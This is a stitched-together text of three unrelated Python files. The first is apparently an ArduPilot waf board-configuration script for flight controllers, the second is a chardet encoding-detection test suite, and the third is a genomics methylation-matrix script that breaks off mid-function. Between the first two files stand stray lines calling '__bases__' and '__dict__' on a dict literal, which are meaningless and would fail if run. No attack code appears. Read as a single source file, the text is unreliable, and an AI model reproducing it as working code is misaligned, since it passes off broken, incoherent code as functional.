#!/usr/bin/env python
# encoding: utf-8

from collections import OrderedDict
import sys, os

import waflib
from waflib.Configure import conf

_board_classes = {}
_board = None

class BoardMeta(type):
    def __init__(cls, name, bases, dct):
        super(BoardMeta, cls).__init__(name, bases, dct)

        if 'abstract' not in cls.__dict__:
            cls.abstract = False
        if cls.abstract:
            return

        if not hasattr(cls, 'toolchain'):
            cls.toolchain = 'native'

        board_name = getattr(cls, 'name', name)
        if board_name in _board_classes:
            raise Exception('board named %s already exists' % board_name)
        _board_classes[board_name] = cls

class Board:
    abstract = True

    def __init__(self):
        self.with_uavcan = False

    def configure(self, cfg):
        cfg.env.TOOLCHAIN = self.toolchain
        cfg.env.ROMFS_FILES = []
        cfg.load('toolchain')
        cfg.load('cxx_checks')

        env = waflib.ConfigSet.ConfigSet()
        self.configure_env(cfg, env)

        d = env.get_merged_dict()
        # Always prepend so that arguments passed in the command line get
        # the priority.
        for k, val in d.items():
            # Dictionaries (like 'DEFINES') are converted to lists to
            # conform to waf conventions.
            if isinstance(val, dict):
                keys = list(val.keys())
                if not isinstance(val, OrderedDict):
                    keys.sort()
                val = ['%s=%s' % (vk, val[vk]) for vk in keys]

            if k in cfg.env and isinstance(cfg.env[k], list):
                cfg.env.prepend_value(k, val)
            else:
                cfg.env[k] = val

        cfg.ap_common_checks()

        cfg.env.prepend_value('INCLUDES', [
            cfg.srcnode.find_dir('libraries/AP_Common/missing').abspath()
        ])

    def configure_env(self, cfg, env):
        # Use a dictionary instead of the convetional list for definitions to
        # make easy to override them. Convert back to list before consumption.
        env.DEFINES = {}

        env.CFLAGS += [
            '-ffunction-sections',
            '-fdata-sections',
            '-fsigned-char',

            '-Wall',
            '-Wextra',
            '-Wformat',
            '-Wshadow',
            '-Wpointer-arith',
            '-Wcast-align',
            '-Wundef',
            '-Wno-missing-field-initializers',
            '-Wno-unused-parameter',
            '-Wno-redundant-decls',
            '-Wno-unknown-pragmas',
            '-Wno-trigraphs',
        ]

        if 'clang' in cfg.env.COMPILER_CC:
            env.CFLAGS += [
                '-fcolor-diagnostics',

                '-Wno-gnu-designator',
                '-Wno-inconsistent-missing-override',
                '-Wno-mismatched-tags',
                '-Wno-gnu-variable-sized-type-not-at-end',
                '-Wno-c++11-narrowing'
            ]

        if cfg.env.DEBUG:
            env.CFLAGS += [
                '-g',
                '-O0',
            ]

        env.CXXFLAGS += [
            '-std=gnu++11',

            '-fdata-sections',
            '-ffunction-sections',
            '-fno-exceptions',
            '-fsigned-char',

            '-Wall',
            '-Wextra',
            '-Wformat',
            '-Wshadow',
            '-Wpointer-arith',
            '-Wcast-align',
            '-Wundef',
            '-Wno-unused-parameter',
            '-Wno-missing-field-initializers',
            '-Wno-reorder',
            '-Wno-redundant-decls',
            '-Wno-unknown-pragmas',
            '-Werror=format-security',
            '-Werror=array-bounds',
            '-Werror=uninitialized',
            '-Werror=init-self',
            '-Werror=switch',
            '-Werror=sign-compare',
            '-Wfatal-errors',
            '-Wno-trigraphs',
        ]

        if 'clang++' in cfg.env.COMPILER_CXX:
            env.CXXFLAGS += [
                '-fcolor-diagnostics',

                '-Wno-gnu-designator',
                '-Wno-inconsistent-missing-override',
                '-Wno-mismatched-tags',
                '-Wno-gnu-variable-sized-type-not-at-end',
                '-Wno-c++11-narrowing'
            ]
        else:
            env.CXXFLAGS += [
                '-Werror=unused-but-set-variable'
            ]

        if cfg.env.DEBUG:
            env.CXXFLAGS += [
                '-g',
                '-O0',
            ]

        if cfg.env.DEST_OS == 'darwin':
            env.LINKFLAGS += [
                '-Wl,-dead_strip',
            ]
        else:
            env.LINKFLAGS += [
                '-Wl,--gc-sections',
            ]

        if self.with_uavcan:
            env.AP_LIBRARIES += [
                'AP_UAVCAN',
                'modules/uavcan/libuavcan/src/**/*.cpp'
                ]

            env.CXXFLAGS += [
                '-Wno-error=cast-align',
            ]

            env.DEFINES.update(
                UAVCAN_CPP_VERSION = 'UAVCAN_CPP03',
                UAVCAN_NO_ASSERTIONS = 1,
                UAVCAN_NULLPTR = 'nullptr'
            )

            env.INCLUDES += [
                cfg.srcnode.find_dir('modules/uavcan/libuavcan/include').abspath()
            ]

        # We always want to use PRI format macros
        cfg.define('__STDC_FORMAT_MACROS', 1)

    def pre_build(self, bld):
        '''pre-build hook that gets called before dynamic sources'''
        if bld.env.ROMFS_FILES:
            self.embed_ROMFS_files(bld)

    def build(self, bld):
        bld.ap_version_append_str('GIT_VERSION', bld.git_head_hash(short=True))
        import time
        ltime = time.localtime()
        bld.ap_version_append_int('BUILD_DATE_YEAR', ltime.tm_year)
        bld.ap_version_append_int('BUILD_DATE_MONTH', ltime.tm_mon)
        bld.ap_version_append_int('BUILD_DATE_DAY', ltime.tm_mday)

    def embed_ROMFS_files(self, ctx):
        '''embed some files using AP_ROMFS'''
        import embed
        header = ctx.bldnode.make_node('ap_romfs_embedded.h').abspath()
        if not embed.create_embedded_h(header, ctx.env.ROMFS_FILES):
            bld.fatal("Failed to created ap_romfs_embedded.h")

Board = BoardMeta('Board', Board.__bases__, dict(Board.__dict__))

def add_dynamic_boards():
    '''add boards based on existance of hwdef.dat in subdirectories for ChibiOS'''
    dirname, dirlist, filenames = next(os.walk('libraries/AP_HAL_ChibiOS/hwdef'))
    for d in dirlist:
        if d in _board_classes.keys():
            continue
        hwdef = os.path.join(dirname, d, 'hwdef.dat')
        if os.path.exists(hwdef):
            newclass = type(d, (chibios,), {'name': d})

def get_boards_names():
    add_dynamic_boards()
    ret = sorted(list(_board_classes.keys()))
    # some board types should not be selected
    hidden = ['chibios']
    for h in hidden:
        if h in ret:
            ret.remove(h)
    return ret

@conf
def get_board(ctx):
    global _board
    if not _board:
        if not ctx.env.BOARD:
            ctx.fatal('BOARD environment variable must be set before first call to get_board()')
        _board = _board_classes[ctx.env.BOARD]()
    return _board

# NOTE: Keeping all the board definitions together so we can easily
# identify opportunities to simplify common flags. In the future might
# be worthy to keep board definitions in files of their own.

class sitl(Board):
    def configure_env(self, cfg, env):
        super(sitl, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD = 'HAL_BOARD_SITL',
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_NONE',
        )

        if not cfg.env.DEBUG:
            env.CXXFLAGS += [
                '-O3',
            ]

        env.LIB += [
            'm',
        ]

        cfg.check_librt(env)

        env.LINKFLAGS += ['-pthread',]
        env.AP_LIBRARIES += [
            'AP_HAL_SITL',
            'SITL',
        ]

        if cfg.options.enable_sfml:
            if not cfg.check_SFML(env):
                cfg.fatal("Failed to find SFML libraries")
            env.CXXFLAGS += ['-DWITH_SITL_OSD','-DOSD_ENABLED=ENABLED','-DHAL_HAVE_AP_ROMFS_EMBEDDED_H']
            import fnmatch
            for f in os.listdir('libraries/AP_OSD/fonts'):
                if fnmatch.fnmatch(f, "font*bin"):
                    env.ROMFS_FILES += [(f,'libraries/AP_OSD/fonts/'+f)]

        if sys.platform == 'cygwin':
            env.LIB += [
                'winmm',
            ]
            env.CXXFLAGS += ['-DCYGWIN_BUILD']

        if 'clang++' in cfg.env.COMPILER_CXX:
            print("Disabling SLP for clang++")
            env.CXXFLAGS += [
                '-fno-slp-vectorize' # compiler bug when trying to use SLP
            ]

class chibios(Board):
    toolchain = 'arm-none-eabi'

    def configure_env(self, cfg, env):
        super(chibios, self).configure_env(cfg, env)

        env.BOARD = self.name

        env.DEFINES.update(
            CONFIG_HAL_BOARD = 'HAL_BOARD_CHIBIOS',
            HAVE_OCLOEXEC = 0,
            HAVE_STD_NULLPTR_T = 0,
        )

        env.AP_LIBRARIES += [
            'AP_HAL_ChibiOS',
        ]

        # make board name available for USB IDs
        env.CHIBIOS_BOARD_NAME = 'HAL_BOARD_NAME="%s"' % self.name

        env.CXXFLAGS += [
            '-Wlogical-op',
            '-Wframe-larger-than=1300',
            '-fsingle-precision-constant',
            '-Wno-attributes',
            '-Wno-error=double-promotion',
            '-Wno-error=missing-declarations',
            '-Wno-error=float-equal',
            '-Wno-error=undef',
            '-Wno-error=cpp',
            '-Wno-cast-align',
            '-fno-exceptions',
            '-fno-rtti',
            '-fno-threadsafe-statics',
            '-Wall',
            '-Wextra',
            '-Wno-sign-compare',
            '-Wfloat-equal',
            '-Wpointer-arith',
            '-Wmissing-declarations',
            '-Wno-unused-parameter',
            '-Werror=array-bounds',
            '-Wfatal-errors',
            '-Werror=unused-variable',
            '-Werror=uninitialized',
            '-Werror=init-self',
            '-Wframe-larger-than=1024',
            '-Werror=unused-but-set-variable',
            '-Wno-missing-field-initializers',
            '-Wno-trigraphs',
            '-Os',
            '-fno-strict-aliasing',
            '-fomit-frame-pointer',
            '-falign-functions=16',
            '-ffunction-sections',
            '-fdata-sections',
            '-fno-strength-reduce',
            '-fno-builtin-printf',
            '-fno-builtin-fprintf',
            '-fno-builtin-vprintf',
            '-fno-builtin-vfprintf',
            '-fno-builtin-puts',
            '-mcpu=cortex-m4',
            '-mno-thumb-interwork',
            '-mthumb',
            '-mfpu=fpv4-sp-d16',
            '-mfloat-abi=hard',
            '-DCHIBIOS_BOARD_NAME="%s"' % self.name,
        ]

        if sys.platform == 'cygwin':
            env.CXXFLAGS += ['-DCYGWIN_BUILD']

        bldnode = cfg.bldnode.make_node(self.name)
        env.BUILDROOT = bldnode.make_node('').abspath()

        env.LINKFLAGS = [
            '-mcpu=cortex-m4',
            '-Os',
            '-fomit-frame-pointer',
            '-falign-functions=16',
            '-ffunction-sections',
            '-fdata-sections',
            '-u_port_lock',
            '-u_port_unlock',
            '-u_exit',
            '-u_kill',
            '-u_getpid',
            '-u_errno',
            '-uchThdExit',
            '-u_printf_float',
            '-fno-common',
            '-nostartfiles',
            '-mfloat-abi=hard',
            '-mfpu=fpv4-sp-d16',
            '-mno-thumb-interwork',
            '-mthumb',
            '-L%s' % env.BUILDROOT,
            '-L%s' % cfg.srcnode.make_node('modules/ChibiOS/os/common/startup/ARMCMx/compilers/GCC/ld/').abspath(),
            '-L%s' % cfg.srcnode.make_node('libraries/AP_HAL_ChibiOS/hwdef/common/').abspath(),
            '-Wl,--gc-sections,--no-warn-mismatch,--library-path=/ld,--script=ldscript.ld,--defsym=__process_stack_size__=0x400,--defsym=__main_stack_size__=0x400',
        ]

        if cfg.env.DEBUG:
            env.CFLAGS += [
                '-g',
            ]
            env.LINKFLAGS += [
                '-g',
            ]

        env.LIB += ['gcc', 'm']

        env.GIT_SUBMODULES += [
            'ChibiOS',
        ]

        try:
            import intelhex
            env.HAVE_INTEL_HEX = True
            cfg.msg("Checking for intelhex module:", 'OK')
        except Exception:
            cfg.msg("Checking for intelhex module:", 'disabled', color='YELLOW')
            env.HAVE_INTEL_HEX = False

        cfg.load('chibios')

    def build(self, bld):
        super(chibios, self).build(bld)
        bld.ap_version_append_str('CHIBIOS_GIT_VERSION', bld.git_submodule_head_hash('ChibiOS', short=True))
        bld.load('chibios')

    def pre_build(self, bld):
        '''pre-build hook that gets called before dynamic sources'''
        super(chibios, self).pre_build(bld)
        from waflib.Context import load_tool
        module = load_tool('chibios', [], with_sys_path=True)
        fun = getattr(module, 'pre_build', None)
        if fun:
            fun(bld)

class linux(Board):
    def configure_env(self, cfg, env):
        super(linux, self).configure_env(cfg, env)

        cfg.find_toolchain_program('pkg-config', var='PKGCONFIG')

        env.DEFINES.update(
            CONFIG_HAL_BOARD = 'HAL_BOARD_LINUX',
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_NONE',
        )

        if not cfg.env.DEBUG:
            env.CXXFLAGS += [
                '-O3',
            ]

        env.LIB += [
            'm',
        ]

        cfg.check_librt(env)
        cfg.check_lttng(env)
        cfg.check_libdl(env)
        cfg.check_libiio(env)

        env.LINKFLAGS += ['-pthread',]
        env.AP_LIBRARIES += [
            'AP_HAL_Linux',
        ]

        if self.with_uavcan:
            cfg.define('UAVCAN_EXCEPTIONS', 0)

        if cfg.options.apstatedir:
            cfg.define('AP_STATEDIR', cfg.options.apstatedir)

    def build(self, bld):
        super(linux, self).build(bld)
        if bld.options.upload:
            waflib.Options.commands.append('rsync')
            # Avoid infinite recursion
            bld.options.upload = False

class erleboard(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(erleboard, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_ERLEBOARD',
        )

class navio(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(navio, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_NAVIO',
        )

class navio2(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(navio2, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_NAVIO2',
        )

class edge(linux):
    toolchain = 'arm-linux-gnueabihf'

    def __init__(self):
        self.with_uavcan = True

    def configure_env(self, cfg, env):
        super(edge, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_EDGE',
        )

class zynq(linux):
    toolchain = 'arm-xilinx-linux-gnueabi'

    def configure_env(self, cfg, env):
        super(zynq, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_ZYNQ',
        )

class ocpoc_zynq(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(ocpoc_zynq, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_OCPOC_ZYNQ',
        )

class bbbmini(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(bbbmini, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_BBBMINI',
        )

class blue(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(blue, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_BLUE',
        )

class pocket(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(pocket, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_POCKET',
        )

class pxf(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(pxf, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_PXF',
        )

class bebop(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(bebop, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_BEBOP',
        )

class disco(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(disco, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_DISCO',
        )

class erlebrain2(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(erlebrain2, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_ERLEBRAIN2',
        )

class bhat(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(bhat, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_BH',
        )

class dark(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(dark, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_DARK',
        )

class pxfmini(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(pxfmini, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_PXFMINI',
        )

class aero(linux):
    def __init__(self):
        self.with_uavcan = True

    def configure_env(self, cfg, env):
        super(aero, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_AERO',
        )

class rst_zynq(linux):
    toolchain = 'arm-linux-gnueabihf'

    def configure_env(self, cfg, env):
        super(rst_zynq, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD_SUBTYPE = 'HAL_BOARD_SUBTYPE_LINUX_RST_ZYNQ',
        )

class px4(Board):
    abstract = True
    toolchain = 'arm-none-eabi'

    def __init__(self):
        # bootloader name: a file with that name will be used and installed
        # on ROMFS
        super(px4, self).__init__()

        self.bootloader_name = None

        # board name: it's the name of this board that's also used as path
        # in ROMFS: don't add spaces
        self.board_name = None

        # px4io binary name: this is the name of the IO binary to be installed
        # in ROMFS
        self.px4io_name = None

        # board-specific init script: if True a file with `board_name` name will
        # be searched for in sources and installed in ROMFS as rc.board. This
        # init script is used to change the init behavior among different boards.
        self.board_rc = False

        # Path relative to the ROMFS directory where to find a file with default
        # parameters. If set this file will be copied to /etc/defaults.parm
        # inside the ROMFS
        self.param_defaults = None

        self.ROMFS_EXCLUDE = []

        # use ardupilot version of px_uploader.py
        os.environ['UPLOADER'] = os.path.realpath(os.path.join(os.path.dirname(__file__), 'px_uploader.py'))

    def configure(self, cfg):
        if not self.bootloader_name:
            cfg.fatal('configure: px4: bootloader name is required')
        if not self.board_name:
            cfg.fatal('configure: px4: board name is required')

        super(px4, self).configure(cfg)
        cfg.load('px4')

    def configure_env(self, cfg, env):
        super(px4, self).configure_env(cfg, env)

        env.DEFINES.update(
            CONFIG_HAL_BOARD = 'HAL_BOARD_PX4',
            HAVE_OCLOEXEC = 0,
            HAVE_STD_NULLPTR_T = 0,
        )
        env.CXXFLAGS += [
            '-Wlogical-op',
            '-Wframe-larger-than=1300',
            '-fsingle-precision-constant',
            '-Wno-attributes',
            '-Wno-error=double-promotion',
            '-Wno-error=missing-declarations',
            '-Wno-error=float-equal',
            '-Wno-error=undef',
            '-Wno-error=cpp',
        ]
        env.AP_LIBRARIES += [
            'AP_HAL_PX4',
        ]
        env.GIT_SUBMODULES += [
            'PX4Firmware',
            'PX4NuttX',
            'uavcan',
        ]

        if sys.platform == 'cygwin':
            env.CXXFLAGS += ['-DCYGWIN_BUILD']

        env.ROMFS_EXCLUDE = self.ROMFS_EXCLUDE

        env.PX4_BOOTLOADER_NAME = self.bootloader_name
        env.PX4_BOARD_NAME = self.board_name
        env.PX4_BOARD_RC = self.board_rc
        env.PX4_PX4IO_NAME = self.px4io_name
        env.PX4_PARAM_DEFAULTS = self.param_defaults
        env.PX4_RC_S_SCRIPT = 'init.d/rcS'

        env.AP_PROGRAM_AS_STLIB = True

    def build(self, bld):
        super(px4, self).build(bld)
        bld.ap_version_append_str('NUTTX_GIT_VERSION', bld.git_submodule_head_hash('PX4NuttX', short=True))
        bld.ap_version_append_str('PX4_GIT_VERSION', bld.git_submodule_head_hash('PX4Firmware', short=True))
        bld.load('px4')

    def romfs_exclude(self, exclude):
        self.ROMFS_EXCLUDE += exclude

class px4_v1(px4):
    name = 'px4-v1'
    def __init__(self):
        super(px4_v1, self).__init__()
        self.bootloader_name = 'px4fmu_bl.bin'
        self.board_name = 'px4fmu-v1'
        self.px4io_name = 'px4io-v1'
        self.romfs_exclude(['oreoled.bin'])

class px4_v2(px4):
    name = 'px4-v2'
    def __init__(self):
        super(px4_v2, self).__init__()
        self.bootloader_name = 'px4fmuv2_bl.bin'
        self.board_name = 'px4fmu-v2'
        self.px4io_name = 'px4io-v2'
        self.romfs_exclude(['oreoled.bin'])
        self.with_uavcan = True

class px4_v3(px4):
    name = 'px4-v3'
    def __init__(self):
        super(px4_v3, self).__init__()
        self.bootloader_name = 'px4fmuv2_bl.bin'
        self.board_name = 'px4fmu-v3'
        self.px4io_name = 'px4io-v2'
        self.with_uavcan = True

class skyviper_v2450_px4(px4_v3):
    name = 'skyviper-v2450-px4'
    def __init__(self):
        super(skyviper_v2450_px4, self).__init__()
        self.px4io_name = None
        self.param_defaults = '../../../Tools/Frame_params/SkyViper-2450GPS/defaults.parm'

    def configure_env(self, cfg, env):
        super(skyviper_v2450_px4, self).configure_env(cfg, env)

        env.DEFINES.update(
            TOY_MODE_ENABLED = 'ENABLED',
            USE_FLASH_STORAGE = 1,
            ARMING_DELAY_SEC = 0,
            LAND_START_ALT = 700,
            HAL_RCINPUT_WITH_AP_RADIO = 1,
            LAND_DETECTOR_ACCEL_MAX = 2,
            CYRF_SPI_PX4_SPI_BUS = 2,
            CYRF_SPI_PX4_SPIDEV_EXT = '(spi_dev_e)1',
            CYRF_IRQ_INPUT = '(GPIO_INPUT|GPIO_FLOAT|GPIO_EXTI|GPIO_PORTD|GPIO_PIN15)',
        )
        env.PX4_RC_S_SCRIPT = 'init.d/rcS_no_microSD'
        env.BUILD_ABIN = True

class px4_v4(px4):
    name = 'px4-v4'
    def __init__(self):
        super(px4_v4, self).__init__()
        self.bootloader_name = 'px4fmuv4_bl.bin'
        self.board_name = 'px4fmu-v4'
        self.romfs_exclude(['oreoled.bin'])
        self.with_uavcan = True

class px4_v4pro(px4):
    name = 'px4-v4pro'
    def __init__(self):
        super(px4_v4pro, self).__init__()
        self.bootloader_name = 'px4fmuv4pro_bl.bin'
        self.board_name = 'px4fmu-v4pro'
        self.px4io_name = 'px4io-v2'
        self.romfs_exclude(['oreoled.bin'])
        self.with_uavcan = True

class aerofc_v1(px4):
    name = 'aerofc-v1'
    def __init__(self):
        super(aerofc_v1, self).__init__()
        self.bootloader_name = 'aerofcv1_bl.bin'
        self.board_name = 'aerofc-v1'
        self.romfs_exclude(['oreoled.bin'])
        self.board_rc = True
        self.param_defaults = '../../../Tools/Frame_params/intel-aero-rtf.param'

{'time': 'time', 'embed': 'embed'}.__bases__

{'time': 'time', 'embed': 'embed'}.__dict__


"""
Run chardet on a bunch of documents and see that we get the correct encodings.

:author: Dan Blanchard
:author: Ian Cordasco
"""

from __future__ import with_statement

import textwrap
from difflib import ndiff
from io import open
from os import listdir
from os.path import dirname, isdir, join, realpath, relpath, splitext

try:
    import hypothesis.strategies as st
    from hypothesis import given, assume, settings, Verbosity
    HAVE_HYPOTHESIS = True
except ImportError:
    HAVE_HYPOTHESIS = False
import pytest

import chardet

# TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) after we
#       retrain model.
MISSING_ENCODINGS = set(['iso-8859-2', 'iso-8859-6', 'windows-1250',
                         'windows-1254', 'windows-1256'])
EXPECTED_FAILURES = set(['tests/iso-8859-7-greek/disabled.gr.xml',
                         'tests/iso-8859-9-turkish/divxplanet.com.xml',
                         'tests/iso-8859-9-turkish/subtitle.srt',
                         'tests/iso-8859-9-turkish/wikitop_tr_ISO-8859-9.txt'])

def gen_test_params():
    """Yields tuples of paths and encodings to use for test_encoding_detection"""
    base_path = relpath(join(dirname(realpath(__file__)), 'tests'))
    for encoding in listdir(base_path):
        path = join(base_path, encoding)
        # Skip files in tests directory
        if not isdir(path):
            continue
        # Remove language suffixes from encoding if pressent
        encoding = encoding.lower()
        for postfix in ['-arabic', '-bulgarian', '-cyrillic', '-greek',
                        '-hebrew', '-hungarian', '-turkish']:
            if encoding.endswith(postfix):
                encoding = encoding.rpartition(postfix)[0]
                break
        # Skip directories for encodings we don't handle yet.
        if encoding in MISSING_ENCODINGS:
            continue
        # Test encoding detection for each file we have of encoding for
        for file_name in listdir(path):
            ext = splitext(file_name)[1].lower()
            if ext not in ['.html', '.txt', '.xml', '.srt']:
                continue
            full_path = join(path, file_name)
            test_case = full_path, encoding
            if full_path in EXPECTED_FAILURES:
                test_case = pytest.mark.xfail(test_case)
            yield test_case

@pytest.mark.parametrize ('file_name, encoding', gen_test_params())
def test_encoding_detection(file_name, encoding):
    with open(file_name, 'rb') as f:
        input_bytes = f.read()
        result = chardet.detect(input_bytes)
        try:
            expected_unicode = input_bytes.decode(encoding)
        except LookupError:
            expected_unicode = ''
        try:
            detected_unicode = input_bytes.decode(result['encoding'])
        except (LookupError, UnicodeDecodeError, TypeError):
            detected_unicode = ''
    if result:
        encoding_match = (result['encoding'] or '').lower() == encoding
    else:
        encoding_match = False
    # Only care about mismatches that would actually result in different
    # behavior when decoding
    if not encoding_match and expected_unicode != detected_unicode:
        wrapped_expected = '\n'.join(textwrap.wrap(expected_unicode, 100)) + '\n'
        wrapped_detected = '\n'.join(textwrap.wrap(detected_unicode, 100)) + '\n'
        diff = ''.join(ndiff(wrapped_expected.splitlines(True),
                             wrapped_detected.splitlines(True)))
    else:
        diff = ''
        encoding_match = True
    assert encoding_match, ("Expected %s, but got %s for %s.  Character "
                            "differences: \n%s" % (encoding,
                                                   result,
                                                   file_name,
                                                   diff))

if HAVE_HYPOTHESIS:
    class JustALengthIssue(Exception):
        pass

    @pytest.mark.xfail
    @given(st.text(min_size=1), st.sampled_from(['ascii', 'utf-8', 'utf-16',
                                                 'utf-32', 'iso-8859-7',
                                                 'iso-8859-8', 'windows-1255']),
           st.randoms())
    @settings(max_examples=200)
    def test_never_fails_to_detect_if_there_is_a_valid_encoding(txt, enc, rnd):
        try:
            data = txt.encode(enc)
        except UnicodeEncodeError:
            assume(False)
        detected = chardet.detect(data)['encoding']
        if detected is None:
            with pytest.raises(JustALengthIssue):
                @given(st.text(), random=rnd)
                @settings(verbosity=Verbosity.quiet, max_shrinks=0, max_examples=50)
                def string_poisons_following_text(suffix):
                    try:
                        extended = (txt + suffix).encode(enc)
                    except UnicodeEncodeError:
                        assume(False)
                    result = chardet.detect(extended)
                    if result and result['encoding'] is not None:
                        raise JustALengthIssue()


# -*- coding:utf-8 -*-
import os, argparse, sys, re
import numpy as np
import pandas as pd
import scipy.io as sio

parser = argparse.ArgumentParser(description='Step 7: Construct AllDat Matrix in .mat format for each chromosome')
parser.add_argument('-data_dir', type=str, default="../data/", help='The data directory where merged 0h, 1h, 4h, 16h bed files for each chromosomes stored')
parser.add_argument('-out_dir', type=str, default="../data/AllDat", help='The output directory to store the AllDat_chrx.mat files')

def mkdir(dir_path):
    if not os.path.exists(dir_path):
        os.makedirs(dir_path)

def construct_allDat_matrix(data_dir, out_dir, sep="\t"):
    TIME_POINTS = ['0h', '1h', '4h', '16h']
    CHROMOSOMES = [str(i) for i in range(1, 23)]
    for chromosome in CHROMOSOMES:
        data_dict = {} # the dict to temperatorily store reads information
        for t_idx, time_point in enumerate(TIME_POINTS):
            repli_name = time_point + '_' + 'rep0'
            input_fp = os.path.join(data_dir, repli_name, 'chr' + chromosome + '.bed')
            with open(input_fp, "r") as input_file:
                print("Processing Chr %s, Time %s" % (chromosome, time_point))
                lines = input_file.readlines()
                for lid, line in enumerate(lines):
                    if lid and (lid + 1) % 100000 == 0:
                        print("%.1f%% for Chr %s, Time %s" % ((lid + 1.0) * 100.0 / len(lines), chromosome, time_point))
                    line_contents = re.split(sep, line.strip("\n"))
                    try:
                        chr_i, start, end, methy_reads, unmethy_reads = line_contents
                        methy_reads = int(methy_reads)
                        unmethy_reads = int(unmethy_reads)
                        site = int(start)
                        if site not in data_dict.keys():
                            data_dict[site] = np.zeros((len(TIME_POINTS), 2))
                        data_dict[site][t_idx][0] = methy_reads
                        data_dict[site][t_idx][1] = unmethy_reads
                    except ValueError as e:
                        print("ValueError in Chr %s, Time %s, Line %d :%s" % (chromosome, time_point, lid + 1, line))
        sorted_site_data = sorted(data_dict.items())
        sites = []
        mat_data = []
        for site, reads in sorted_site_data:
            sites.append(site)
            mat_data.append(reads)
        mat_data = np.array(mat_data)
        MAT_DICT = {'AllDat': mat_data, 'sites': sites}
        mkdir(out_dir)
        sio.savemat(os.path.join(out_dir, "AllDat_chr%s.mat" % chromosome), MAT_DICT)
        print("**!!FINISHED Chr %s PROCESSING!!**" % chromosome)

def construct_allDat_bed_file(data_dir, out_dir, sep="\t"):

    TIME_POINTS = ['0h', '1h', '4h', '16h']

    CHROMOSOMES = [str(i) for i in range(1, 23)]

    ltws = []

    for chromosome in CHROMOSOMES:
        data_dict = {} # the dict to temperatorily store reads information
        for t_idx, time_point in enumerate(TIME_POINTS):
            repli_name = time_point + '_' + 'rep0'
            input_fp = os.path.join(data_dir, repli_name, 'chr' + chromosome + '.bed')
            with open(input_fp, "r") as input_file:
                print("Processing Chr %s, Time %s" % (chromosome, time_point))
                lines = input_file.readlines()
                for lid, line in enumerate(lines):
                    if lid and (lid + 1) % 100000 == 0:
                        print("%.1f%% for Chr %s, Time %s" % ((lid + 1.0) * 100.0 / len(lines), chromosome, time_point))
                    line_contents = re.split(sep, line.strip("\n"))
                    try:
                        chr_i, start, end, methy_reads, unmethy_reads = line_contents
                        methy_reads = int(methy_reads)
                        unmethy_reads = int(unmethy_reads)
                        site = int(start)
                        if site not in data_dict.keys():
                            data_dict[site] = np.zeros((len(TIME_POINTS), 2))
                        data_dict[site][t_idx][0] = methy_reads
                        data_dict[site][t_idx][1] = unmethy_reads
                    except ValueError as e:
